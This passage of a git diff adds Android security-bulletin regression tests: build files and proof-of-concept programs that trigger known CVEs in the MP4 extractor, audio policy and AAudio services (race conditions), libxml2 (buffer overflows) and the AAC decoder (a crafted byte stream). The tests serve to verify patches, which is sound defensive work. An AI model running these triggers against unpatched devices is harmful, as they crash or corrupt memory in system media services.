+        "poc.cpp",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libdatasource/include",
+        "frameworks/av/media/libmedia/include",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            shared_libs: [
+            "libstagefright",
+            "libutils",
+            "libmedia",
+            "libstagefright_foundation",
+            "libdatasource",
+        ],
+        suffix: "64",
+      },
+   },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..789d436
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,121 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <android/IMediaExtractor.h>
+#include <datasource/FileSource.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+  (void)argc;
+  (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  if (argc < 2) {
+    return EXIT_FAILURE;
+  }
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = new FileSource(argv[1]);
+  if (!dataSource) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *mp4Extractor =
+      ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (!mp4Extractor) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+      new MediaExtractorCUnwrapper(mp4Extractor);
+  if (!mediaExtractorCUnwrapper) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  // seek to 10 seconds in the mp4 file
+  int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+  size_t numTracks = mediaExtractorCUnwrapper->countTracks();
+  for (size_t i = 0; i < numTracks; ++i) {
+    MetaDataBase metaData;
+    MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
+    mediaExtractorCUnwrapper->getTrackMetaData(
+        metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
+    MediaTrack::ReadOptions options;
+    if (seekTimeUs >= 0) {
+      options.setSeekTo(seekTimeUs,
+                        MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+    }
+    if (mediaTrack) {
+      MediaBufferBase *mbuf = nullptr;
+      mediaTrack->start();
+      mediaTrack->read(&mbuf, &options);
+    }
+  }
+#endif /* _64_BIT */
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
new file mode 100644
index 0000000..0156bac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2017-0837",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libaudioclient",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..c1999db
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <media/IAudioPolicyService.h>
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+  sp<IAudioPolicyService> audioService;
+  audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+  volatile bool startThread;
+};
+
+static void *acquireSoundTriggerSessionThread(void *arg) {
+  int i = 0;
+  pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+  if (!ctxt) {
+    return nullptr;
+  }
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+      audio_io_handle_t ioHandle = 0;
+      audio_devices_t device = AUDIO_DEVICE_NONE;
+      ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
+                                                     &ioHandle, &device);
+      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+        i = 0;
+      }
+    }
+  }
+  return nullptr;
+}
+
+static void *releaseSoundTriggerSessionThread(void *arg) {
+  int i = 0;
+  pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+  if (!ctxt) {
+    return nullptr;
+  }
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+      ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
+      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+        i = 0;
+      }
+    }
+  }
+  return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+public:
+  MyDeathRecipient() {}
+  virtual void binderDied(const wp<IBinder> &who __unused) {
+    exit(EXIT_SUCCESS);
+  }
+};
+
+int main() {
+  pocAudioSessionCtxt ctxt;
+  pthread_t thread[MAX_NUMBER_OF_THREADS];
+  ctxt.startThread = false;
+
+  for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+    pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+                   &ctxt);
+  }
+
+  for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; i < MAX_NUMBER_OF_THREADS;
+       ++i) {
+    pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+                   &ctxt);
+  }
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
+  if (!binder) {
+    return EXIT_FAILURE;
+  }
+  ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
+  if (!ctxt.audioService) {
+    return EXIT_FAILURE;
+  }
+
+  sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+  binder->linkToDeath(deathRecipient);
+  ctxt.startThread = true;
+  for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+    pthread_join(thread[i], nullptr);
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
new file mode 100644
index 0000000..a4c4f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2018-9428",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libmedia",
+        "libutils",
+        "libbinder",
+        "libaaudio_internal",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..cf21dbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "binding/IAAudioService.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+  aaudio_handle_t aaudioHandle;
+  sp<IAAudioService> aas;
+} thread_args;
+
+static void *closeStreamThread(void *arg) {
+  thread_args *threadArgs = (thread_args *)arg;
+  if (threadArgs) {
+    if (threadArgs->aas) {
+      threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+    }
+  }
+  return nullptr;
+}
+
+static void *startStreamThread(void *arg) {
+  thread_args *threadArgs = (thread_args *)arg;
+  if (threadArgs) {
+    if (threadArgs->aas) {
+      threadArgs->aas->startStream(threadArgs->aaudioHandle);
+    }
+  }
+  return nullptr;
+}
+
+int main() {
+  thread_args targs;
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.aaudio"));
+  targs.aas = interface_cast<IAAudioService>(binder);
+  if (!(targs.aas)) {
+    return EXIT_FAILURE;
+  }
+  aaudio::AAudioStreamRequest request;
+  request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+  request.getConfiguration().setDeviceId(0);
+  request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    pthread_t pt[2];
+
+    aaudio::AAudioStreamConfiguration configurationOutput;
+    targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
+    pthread_create(&pt[0], nullptr, closeStreamThread,
+                   &targs); /* close stream */
+    pthread_create(&pt[1], nullptr, startStreamThread,
+                   &targs); /* start stream */
+
+    sleep(5);
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
new file mode 100644
index 0000000..12c9ca0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9047",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9047.c",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+}
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9048",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9048.c",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+}
+
+cc_test {
+    name: "CVE-2018-9466-CVE-2017-9049",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc-CVE-2017-9049.c",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..ecfb842
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+  char buf[BUFFER_SIZE];
+  xmlElementContent content;
+  content.type = XML_ELEMENT_CONTENT_ELEMENT;
+  content.prefix =
+      (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+  content.name =
+      (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+  content.ocur = XML_ELEMENT_CONTENT_PLUS;
+  content.c1 = NULL;
+  content.c2 = NULL;
+  content.parent = NULL;
+  memset(buf, 0, BUFFER_SIZE);
+  xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..0de95fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+  char buf[BUFFER_SIZE];
+  xmlElementContent content;
+  content.type = XML_ELEMENT_CONTENT_ELEMENT;
+  content.prefix = (const xmlChar *)"1234567890123456789012345678901";
+  content.name = (const xmlChar *)"1234567890123456789012345678901";
+  content.ocur = XML_ELEMENT_CONTENT_PLUS;
+  content.c1 = NULL;
+  content.c2 = NULL;
+  content.parent = NULL;
+  memset(buf, 0, BUFFER_SIZE);
+  xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..8554acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/relaxng.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+#include <string.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+  return ((char *)xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+  xmlGetWarningsDefaultValue = 0;
+  xmlPedanticParserDefault(0);
+  xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+  xmlInitParser();
+  xmlSchemaInitTypes();
+  xmlRelaxNGInitTypes();
+  xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
new file mode 100644
index 0000000..d1a4d1d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2018-9537",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..9da651c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+#include <string.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = {0xFF, 0xF1, 0x6C, 0x40,
+                                         0x41, 0x00, 0x78};
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = {0xC1, 0x83, 0x06, 0x0C,
+                                           0x18, 0x30, 0x60};
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = {
+    0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
